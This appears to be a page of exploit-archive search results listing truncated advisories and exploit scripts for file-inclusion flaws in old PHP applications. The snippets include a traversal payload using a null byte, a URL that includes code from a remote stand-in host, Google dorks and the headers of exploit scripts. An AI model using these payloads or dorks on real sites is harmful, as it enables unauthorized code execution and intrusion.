8823 matches found
Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities
Actually, this can be pretty serious depending on server settings, but an improper example was given. Better one: jaxpetitionbook.php?languagepack=../../someotherallowedfileuploads/myfile.php.gif00 Many servers will have magic quotes on to defeat the null byte, but by no means all. John...
PHPMyphorum 1.5a (mep/frame.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== PHPMyphorum 1.5a mep/frame.php Remote File Include Vulnerability ================================================================== PHPMyphorum 1.5a Class: File Include...
KGB <= 1.9 (sesskglogadmin.php) Local File Include Exploit
No description provided by source. ? //Kacper & str0ke Settings $exploitname = "KGB = 1.9 Remote Code Execution Exploit"; $scriptname = "KGB 1.9"; $scriptsite = "http://www.kgb.xs.com.pl/index.php?tri=2"; $dork = 'inurl:"kgb19"'; // print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+:...
Jax Petition Book 3.06 - jax_petitionbook.php?languagepack Local File Inclusion
Jax Petition Book 3.06 - jaxpetitionbook.php?languagepack Local File Inclusion source: https://www.securityfocus.com/bid/22072/info Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these...
Jax Petition Book 3.06 - 'jax_petitionbook.php?languagepack' Local File Inclusion
source: https://www.securityfocus.com/bid/22072/info Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities using directory-traversal strings to have local script code execut...
KGB <= 1.9 (sesskglogadmin.php) Local File Include Exploit
Exploit for unknown platform in category web applications ========================================================== KGB = 1.9 sesskglogadmin.php Local File Include Exploit ========================================================== ? //Kacper & str0ke Settings $exploitname = "KGB = 1.9 Remote Cod...
Jax Petition 3.06 Book - 'smileys.php?languagepack' Local File Inclusion
source: https://www.securityfocus.com/bid/22072/info Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities using directory-traversal strings to have local script code execut...
naig052-rfi.txt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Naig = 0.5.2 thispath Remote File Include Vulnerability Script : Naig Version : 0.5.2 URL : http://mesh.dl.sourceforge.net/sourceforge/naig/naig-0.5.2.zip Found By : -= BorN To K!LL =-...
FdWeB Espace Membre <= 2.01 (path) Remote File Include Exploit
No description provided by source. html head meta http-equiv="Content-Type" content="text/html; charset=windows-1254" titleFdWeB Espace Membre = 2.01path Remote File Include Vulnerability/title script language="JavaScript"...
Edit-X Edit_Address.PHP远程文件包含漏洞
edit-x是一款基于PHP的WEB应用程序。 edit-x不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'EditAddress.PHP'脚本对用户提交的'includedir'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 edit-x 目前没有解决方案提供： http://www.edit-x.com/ http://www.example.com/editxPATH/editx/editaddress.php?includedir=HTTP://www.example2.com...
microcms35.txt
!/usr/bin/perl Script: Micro CMS 3.5 site: http://www.impliedbydesign.com/apps/microcms/microcms.zip Coded By : ilker Kandemir use Tk; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "AYYILDIZ.ORG :: Micro CMS geometry '500x300' ; $mw-resizable0,0; $mw-Label-text = 'Micro CMS...
Micro CMS <= 3.5 Remote File Include Exploit
No description provided by source. !/usr/bin/perl Script: Micro CMS 3.5 site: http://www.impliedbydesign.com/apps/microcms/microcms.zip Coded By : ilker Kandemir ilkerkandemiratmynet.com use Tk; use Tk::DialogBox; use LWP::UserAgent;...
nunenews-rfi.txt
----------------------------------------------- NUNE News Script customadminpath Remote File Include Vulnerablity ----------------------------------------------- Author: xoron ----------------------------------------------- Code: if isset$customadminpath $specialadminpath = $customadminpath; else...
FdWeB Espace Membre <= 2.01 (path) Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================== FdWeB Espace Membre FdWeB Espace Membre //'=============================================================================================== //'Script Name: FdWeB Espace Membre...
Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities
No description provided by source. Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus &nbs...
cscart133-rfi.txt
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ CS-Cart 1.3.3 install.php Remote File Include Vulnerability $$ Script site: http://www.cs-cart.com $$ Dork: Powered by CS-Cart - Shopping Cart Software $$...
createauction-rfi.txt
============================ HItamputih Crew ==================== hitamputih Advisory Discovered By : IbnuSina ----------------------------------------------------------- Software: createauction Script : http://www.scriptaty.net/magic-photo-storage-website.html Method: file inclusion Thanks To :...
Naig <= 0.5.2 (this_path) Remote File Include Vulnerability
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Naig = 0.5.2 thispath Remote File Include Vulnerability Script : Naig Version : 0.5.2 URL : http://mesh.dl.sourceforge.net/sourceforge/naig/naig-0.5.2.zip Found By : -= BorN To K!LL =-...
TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability
No description provided by source. /\ Citations Al顴oires v1.1 ========================================================= Published : 2007-01-12 Remote: Yes Site: ftp://ftp1.comscripts.com/PHP/1809citation-11.zip Author: GolDM = Mahmoodali &nb...
LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability
No description provided by source. ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir ilkerkandemiratmynet.c...